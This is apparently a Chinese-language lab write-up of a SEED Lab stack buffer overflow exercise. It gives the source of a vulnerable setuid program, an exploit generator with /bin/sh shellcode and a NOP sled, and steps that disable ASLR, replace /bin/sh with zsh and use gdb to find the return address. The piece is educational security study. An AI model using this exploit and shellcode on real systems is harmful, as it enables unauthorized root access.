【软件安全】缓冲区溢出攻击(stack overflow)实践

前言

最近在研究stack overflow的复现,发现网上许多教程都偏老了,且许多关键步骤没有说明清楚,导致小白在一步步操作的时候经常出现无法正确获取shellcode的情况,本人也是历经诸多大坑,总算是成功复现了这一过程。下面是溢出成功后的效果图。

个中会涉及到参数在函数栈中的存储,栈的返回地址,帧指针,函数如何执行的过程,这部分不再赘述,自行查阅相关资料。

攻击准备

工欲善其事,必先利其器,由于stack overflow已经是上古时代的漏洞,在现行的许多操作系统发行版中已经做到了很好的保护机制,如果以这些系统作为攻击入口,小白无异以卵击石。因此,我们需要限制一下所用的操作系统,这里给出我使用的环境:

  • OS: ubuntu12.04,采用了SEED LAB实验室提供的环境,点击这里查看
  • 虚拟机软件:Vmware workstation 16

攻击目标与原理

  • 攻击目标是获取到操作系统的root权限
  • 攻击原理是目标程序存在的缓冲区溢出漏洞,构造特定的输入内容覆盖原始的返回地址,以执行相应的shellcode

漏洞程序

下面是漏洞程序(stack.c)的代码,它所做的主要工作是读取同目录下badfile文件的内容,并将其复制到函数的临时数组变量buffer[]中,但输入的内容大于buffer的容量时,就可能导致数据覆盖函数栈中的返回地址,而攻击者通过精心计算原返回地址的位置,将其替换成shellcode的地址,从而导致shellcode执行,获得root权限。

获取root权限的前提是漏洞程序通过root权限编译,赋予相应root权限

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
	char buffer[12];//和原程序不一样的地方在此处,如果没有修改,最终结果会是return properly 无法攻击成功.获得root权限

/* The following statement has a buffer overflow problem */
	strcpy(buffer, str);

	return 1;
}

int main(int argc, char **argv)
{
	char str[517];
	FILE *badfile;
	badfile = fopen("badfile", "r");
	fread(str, sizeof(char), 517, badfile);
	bof(str);
	printf("Returned Properly\n");
	return 1;
}

攻击程序

攻击程序(exploit.c)主要是用来生成指定的badfile,实现shellcode的注入,让漏洞程序能够精确执行。其中shellcode就是让程序执行/bin/sh的相应汇编代码,程序创建了一个buffer数组,用于存储shellcode,同时在shellcode前面用0x90(NOP指令,不做操作执行下一条指令)填充,这使得shellcode有多个入口点,增大执行概率。具体如下:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;
void main(int argc, char **argv)
{
	char buffer[517];
	FILE *badfile;
	
	/* Initialize buffer with 0x90 (NOP instruction) */
	memset(&buffer, 0x90, 517);
	
	/* You need to fill the buffer with appropriate contents here */
	strcpy(buffer+24,"\x??\x??\x??\x??");  //这里从24填写,但是上面漏洞程序buffer只有12,我也没搞懂
	strcpy(buffer+100,shellcode);
	
	/* Save the contents to the file "badfile" */
	badfile = fopen("./badfile", "w");
	fwrite(buffer, 517, 1, badfile);
	fclose(badfile);
}

攻击步骤

总体的攻击步骤包括:

  1. 关闭现有安全机制 关闭ASLR(内存地址随机化),用zsh替换sh
  2. root身份编译stack.c(漏洞程序)
  3. 确定shellcode在内存中的地址
  4. 执行攻击程序,漏洞程序,查看攻击效果

关闭现有安全机制

  • 关闭ASLR
    linux系统为了防止stack overflow,默认采用了ASLR(内存地址随机化),这导致我们无法确定shellcode在内存中的位置,为了简便需要关闭
    # 关闭方式1
    sudo sysctl -w kernel.randomize_va_space=0
    # 关闭方式2
    sudo  -s
    echo 0 > /proc/sys/kernel/randomize_va_space
    exit
  • zsh替换sh
    ubuntu12.04,ubuntu16.04中,/bin/sh实际上指向一个/bin/dash的链接文件,当其发现自己在一个特权程序中运行时,会将有效用户ID改成实际用户ID,让我们无法获得root权限。替换方式如下:
    sudo su
    cd /bin
    cp sh sh.bak  # 备份
    rm sh
    ln -s zsh sh

    还有一种替代解决方案是更改shellcode"\x68""//sh""\x68""/zsh"

以root身份编译漏洞程序

确保程序有root权限

sudo gcc -g -z execstack -fno-stack-protector -o stack stack.c
sudo chmod u+s stack

确定shellcode在内存中位置

注意shellcode本质是被放在badfile文件中,而漏洞程序读取badfile复制到buffer数组中,那么badfile的起始位置就是stack.cbuffer的起始位置,因此我们需要让shellcode的地址刚好被写在漏洞程序函数bof返回地址的位置。具体如下图:

gdk调试stack,反汇编main函数,如下:

gdb stack
disass main


注意红框处的操作,这是main函数执行后栈给局部变量留出的空间,然后我们查看str的地址,shellcode应该已经被放置在str数组中,距离100的位置。
随意找个地方设置断点,并运行,接着查看str的地址,并计算+100后的地址结果

b *0x080484af
r
p &str
p/x 0xbffff127+100

exploit.c中将\x?\x?\x?\x?的部分用0xbffff18b地址替换

执行攻击程序

对攻击程序编译并执行得到badfile,再执行./stack查看攻击效果。

发现指令非法,说明我们没有正确找到shellcode指令地址。

这个地方困扰了我很久,是个大坑,后来发现一篇文章中写到gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./stack的时候,buf的位置会固定在别的地址上。

即存放shellcode的地址相比原来会有偏差,因此尝试在找到的shellcode地址上进行偏移,这里我尝试了许多种,发现将8b换成ab是可行的。

再做一次攻击可发现获取到了root权限

说明shllcode实际执行相比于调试内存地址偏后了30多位,可以尝试将8b修改成更后面或附近的数值,如af,b4都是可行的。

总结

缓冲区溢出是十分古老却又经典的程序漏洞,许多更近一步的如return-to-libc,格式化字符串漏洞,都是基于此基础上做的进一步深入攻击,因此掌握最基础的stack overflow还是很有必要的。这个地方我参考了许多网上许多教程,它们大部分都是调试阶段直接获取到str或者esp地址后通过计算相对位置得到shellcode地址,但根据我的实际操作结果来看有较大出入,实践才是检验真理的唯一标准。参考资料里列举的都是与此实验相关的资料,供读者对比参考。

参考资料